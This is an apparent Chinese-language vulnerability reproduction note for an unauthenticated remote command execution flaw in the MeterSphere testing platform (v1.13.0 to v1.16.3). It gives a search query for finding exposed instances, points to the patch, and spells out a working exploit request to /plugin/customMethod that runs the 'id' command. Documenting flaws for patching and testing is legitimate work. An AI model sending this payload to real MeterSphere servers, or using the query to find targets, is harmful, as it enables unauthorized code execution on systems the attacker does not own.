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47 lines
1.2 KiB
Markdown
47 lines
1.2 KiB
Markdown
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# MeterSphere customMethod 远程命令执行漏洞
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## 漏洞描述
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2022年1月5日，知道创宇404积极防御实验团队发现了MeterSphere开源持续测试平台的一处漏洞，并向MeterSphere研发团队进行了反馈。通过该漏洞攻击者可以在未授权的情况下执行远程代码，建议MeterSphere平台用户，尤其是可通过公网访问的用户尽快进行升级修复。
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## 漏洞影响
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```
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MeterSphere v1.13.0 - v1.16.3
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```
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## 网络测绘
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```
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body="MeterSphere"
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```
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## 漏洞复现
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登陆页面
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根据官方的修复可以看到目前版本的修复版本为删除代码片段
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filterChainDefinitionMap.put("/plugin/**", "anon");
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```
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https://github.com/metersphere/metersphere/pull/9140/files
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```
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查看文件 /backend/src/main/java/io/metersphere/controller/PluginController.java
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发送请求包
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```
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POST /plugin/customMethod
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{"entry":"Evil","request":"id"}
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```
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